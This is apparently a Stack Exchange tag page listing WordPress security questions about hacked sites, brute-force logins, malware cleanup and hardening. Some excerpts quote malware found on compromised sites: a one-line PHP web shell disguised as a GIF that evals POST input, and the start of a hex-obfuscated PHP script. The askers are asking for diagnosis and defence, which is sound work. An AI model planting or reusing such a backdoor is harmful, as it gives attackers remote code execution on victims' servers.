Questions tagged [wordpress]

WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine. Specific Wordpress questions are best asked at https://wordpress.stackexchange.com

Filter by
Sorted by
Tagged with
42
votes
28answers
15k views

Discouraging users from copying images off a website?

Let me begin by stating that I'm aware it's extremely tedious or virtually impossible to prevent individuals from pirating content. I'm working on a website for a client who is a relatively well ...
30
votes
2answers
4k views

WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
28
votes
9answers
2k views

How can I protect a WordPress installation?

How do you go about protecting a default WordPress installation? What checklist do you use, best practices, tips and tricks, etc? Any recommendations on plugins, third-party tools are welcome.
26
votes
1answer
8k views

What is this? Virus or scanner? [closed]

I found a new file in my WP root folder and contains this text: <?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jd\x67f\x6f\x77\x6a"]="\x64\x61\x74\x61\x5f\x6bey";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x63\...
25
votes
2answers
7k views

Is email from my WordPress site a hack or just a normal comment?

I received an email for my WordPress site, where the comment section is disabled. This was the email: "Author: google (IP: 210.56.50.40, 210.56.50.40) Email: guest@gmail.com URL: http://spider....
22
votes
4answers
6k views

Suspicious JavaScript in website header

I am not sure if this is the correct place to ask a questions such as this, apologies if it isn't. I have found the below code in the header of one of my wordPress websites, I am pretty sure it is ...
22
votes
8answers
14k views

PHP malware/shell keeps resurrecting [duplicate]

So I've been fighting this problem for months now and decided that it's beyond my limited (if at all) server skills, and that I need help from the pros. I have a VPS (with root access) which hosts ...
19
votes
5answers
5k views

Is it possible to find a buffer overflow in WordPress?

I had an interesting conversation with a pentester who told me he had found a buffer overflow in Wordpress. The person in question was really adamant that this was true. The client is a bit skeptical ...
14
votes
3answers
33k views

How do crackers upload php scripts to Wordpress' wp-content directory?

I've seen a site that has been attacked by uploading php scripts (presumably some sort of shell, or code that loads a shell) to Wordpress' wp-content/uploads directory. Usually this directory is used ...
13
votes
3answers
4k views

Bank of America phishing site

A text message was sent to my phone stating that my Bank of America account had been suspended due to suspicious activity. It then provided a link to reactivate it. Obvious phishing scam. The URL they ...
12
votes
4answers
5k views

Wordpress Brute Force Attacker knows real admin Username -

I've noticed a brute force attempt on several different Wordpress installs that know the right admin user name for those respective sites... It seems very strange that the hacker would be able to ...
11
votes
2answers
717 views

Understanding SQLMAP payload

I was participating in a CTF and there was a SQL Injection challenge. There is a Wordpress page with a vulnerable plugin parameter (let's call the website https://vulnerable.com/), and the solution ...
9
votes
1answer
2k views

Sucuri detects malware on wordpress but I can't find the malicious code

Yesterday I got a report asking us to check some wordpress website because the person's antivirus blocked said web. I ran the Sucuri Site Check and it indeed detects malware: "Known javascript ...
8
votes
2answers
2k views

Someone Copied Our Site Code (Including Analytics) and Put Adult Content on It [closed]

Someone copied our WordPress based website and put it on another server and added adult content on it. It also includes our Google Analytics code so the traffic to this site also shows on our ...
8
votes
1answer
1k views

How to report unsuccessful attacks to the source network admins? [duplicate]

I am not an information security professional as such. I am a self-taught web developer so I hope this question is not too basic. I have set up a web store via WordPress using WooCommerce and ...
7
votes
4answers
4k views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
7
votes
1answer
2k views

Brute force login attempt from spoofed IP's

I see that many of my WordPress installs are being hit with 1000+ failed login attempts using non-existing 'admin' account name. The requests come from different IP's every time, and I see IP's such ...
7
votes
5answers
6k views

How can a PHP file be added over and over to my hacked site?

I'm on a shared hosting plan (I know, I know) on GoDaddy and all the files in it have been hacked. There are multiple sites in the plan, each of them has a folder. The folders and sub-folders of each ...
7
votes
3answers
3k views

Can I make my online server more secure using Docker?

I had my online web server ransacked, they got in through my hosted WordPress site and privilege escalated from there. I am wondering, if I put the WordPress in a Docker, would that go a decent way ...
6
votes
1answer
2k views

Find the security hole on my site and prevent it [duplicate]

Last day I've noticed that my wordpress site is hacked and a PHP backdoor shell is installed on my site. Virus scanner reported that a plugin file is inside my wp-content/uploads which I did not ...
6
votes
2answers
5k views

What are sensitive Wordpress site directories

I'm penetration testing a website for a friend. It runs on WP and has directory indexing enabled. I would like to provide a PoC of why this is an issue, but I've never used Wordpress so I don't know ...
6
votes
1answer
719 views

Google showing spam links on my site

When I search the name of my site on Google, I see site links description which are spammy and not related to my site. Sometimes when I click I get redirect to phishing sites. But I have used many ...
6
votes
5answers
2k views

HTML Entities to hide Email Addresses

I'm on WordPress trying to keep spambots from grabbing email addresses that may be in The Content. WordPress has a nifty little function simply called antispambot() which will convert the email ...
6
votes
1answer
792 views

What is this script attempting to do? [closed]

I have just been given access to a site to maintain, so the first thing I thought I'd do is some updates. After checking Wordfence it complained about a script which contained a file with the ...
6
votes
3answers
3k views

Is it secure not to have csrf protection in login forms?

I have noticed that WordPress doesn't have csrf protection for their admin panel login /wp-admin/. Does it actually posses any potential risk? Is there any possible ways there an attacker could ...
6
votes
3answers
5k views

Is it possible to use Greasemonkey to hack a website?

Yesterday my WordPress website got hacked. I thought I had done all necessary things to make it secure. One of my colleagues said that with Greasemonkey we can easily hack sites. Is it true? How can I ...
6
votes
3answers
3k views

Storing credit card information for later manual processing

I am rebuilding a clients eCommerce site using Wordpress and WooCommerce as the framework. Their current eCommerce site takes the credit card information and stores it for later manual processing. To "...
6
votes
1answer
2k views

Wordpress site redirects to different site when using https. Have I been hacked?

I own my domain and blog infrequently, when I try to access it over https I'm first shown a warning which says that the certificate isn't trusted. This is expected as I never configured SSL for my ...
6
votes
1answer
6k views

Are these access.log entries successful wordpress login attempts?

I am hosting some wordpress sites on an apache 2.4 webserver, and I have discovered thousands of entries in my server logs like this: 221.219.219.248 - - [09/Mar/2015:03:29:25 +1300] "GET /example....
6
votes
1answer
106 views

Is there any danger in the preview button in blogs?

In my Wordpress blog (though this may be true of other blogs too), there is a preview web page feature. So when I get a comment with a link, I can hover over the link, and it shows me a preview of ...
6
votes
3answers
4k views

How to prevent adding malicious code, found in hacked WordPress website?

I have a website created using WordPress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an AJAX request with a HTML code, which should receive a JSON object as ...
6
votes
1answer
617 views

Cookie that contains NULL byte character (0x00) on new WordPress.org site - any issues?

I installed NinjaFirewall plugin on WP.org v4.7.2. It locked me out of my site. They asked for the log from my hosting company's cPanel, which I got and they report: You have a cookie that ...
5
votes
2answers
4k views

Malicious code is injected to a PHP file [duplicate]

My site is built using Wordpress. One day it stopped working and found an error in one PHP file. When I downloaded that PHP file to see what happened, my antivirus (Microsoft Security Essentials) ...
5
votes
1answer
383 views

Why is Google using Local File Inclusion and Directory Traversal attempts on my site

If have a firewall on my wordpress site and it has blocked Google from attempting both Local File Inclusion and Directory Traversal attempts. Why would Google be doing this? United States Mountain ...
5
votes
1answer
966 views

Found this weird code in my Wordpress under wp-includes

I found the following code in my Wordpress application, but I am not even sure in what is decoded. The first part of the file looks like this: <?php // Preventing a directory listing if(!empty($...
5
votes
1answer
891 views

Are inactive vulnerable Wordpress plugins still unsafe?

When you install a plugin in WordPress you can choose to activate or deactivate it. Let's say you have a plugin of which the latest version is vulnerable to XSS for example and you're waiting for a ...
5
votes
1answer
3k views

As a result of attack; random folders and files in public_html. What kind of attack is this?

As a result of attack there are random folders and php files inside them in public_html directories. Sites are Wordpress, Opencart or just HTML. All sites exposed to attack. Screenshot of the ...
5
votes
1answer
8k views

Why might I want to remove the wlwmanifest.xml file in WordPress?

Often when I find resources about XML-RPC vulnerabilities with respect to the xmlrpc.php file commonly found exposed on WordPress sites, I find alongside the recommendation to remove or block the ...
5
votes
3answers
2k views

How bot(s) have guessed my wordpress login page?

I have a wordpress site (fully patched) that used to receive many attempts to log in based on dictionary attacks. I changed my admin user to something uncommon and use a really strong password. ...
5
votes
1answer
2k views

HTTP attack taking down PHP-FPM [closed]

Someone started attacking my site a few minutes ago and its caused PHP-FPM to max out all cores (4) on my vps and NGINX is now serving 502 to all users. I'm seeing a bunch of these requests with tons ...
5
votes
1answer
321 views

While cleaning up a hacked Wordpress site, I got access to the hacker's database. What action should I take?

I've just finished cleaning up a compromised Wordpress site; it was hacked through a vulnerable plugin & several fake sitemaps & redirects set up to pollute google results with pharma ads etc. ...
5
votes
1answer
826 views

Exploit SoakSoak injected in Wordpress

I have recently received an attack to my website and Google is warning visitors to not load the page. The malware is located in wp-includes/js/swfobject.js of my Wordpress and I had deleted it but ...
4
votes
3answers
11k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
4
votes
1answer
4k views

How does this Wordpress site got infected with vlomaw.zip, tondjr.zip, oniyur.zip

I would like to know if anyone knows where does this attack came from? One of our customer's sites was infected by a code which generated several files like: 0b37a.php.suspected 5394bb9efbe.php ...
4
votes
2answers
211 views

What security risk does it mean if you have your db password and security token publicity available?

In Germany everyone is worried about a prominent political party that exposes their wp-config to the public: https://www.a***********r.de/wp-config.php How much of a security risk is that? The db, ...
4
votes
2answers
1k views

Wordpress hacker generating password reset request for admin user

I have received a few password reset emails for the "admin" user (ie login name admin) in an old (but patched up-to-date) Wordpress install. The owner of the site did not request these password ...
4
votes
2answers
1k views

What is the best way to prevent code injection in Apache/PHP?

I have recently setup wordpress on a VPS, and it is under continuous attack since. I have taken some measures to protect from some bruteforce attacks, however looking at some of the logs I am not sure ...
4
votes
3answers
1k views

Wordpress infected with Trojan

So recently our (VPS CentOS6.5) server began hosting a WP site that was, or became, infected (via revslider plugin) with some kind of trojan (probably spam sender, as we ended up on Spamhaus list very ...
4
votes
2answers
304 views

Does HTTP Digest Auth provide any increased security in this scenario?

Say I have a website running a popular CMS like Wordpress only over SSL through HTTP Strict Transport Security. Prior, the backend administrator login page could be accessed by anybody simply by ...
4
votes
1answer
2k views

Does Wordpress REST API with CORS enabled represent a security risk?

After a security inspection of a site running Wordpress with a REST API, the scanner flagged the route /wp-json/ as a vulnerability due to a very flexible CORS policy that allows third parties to ...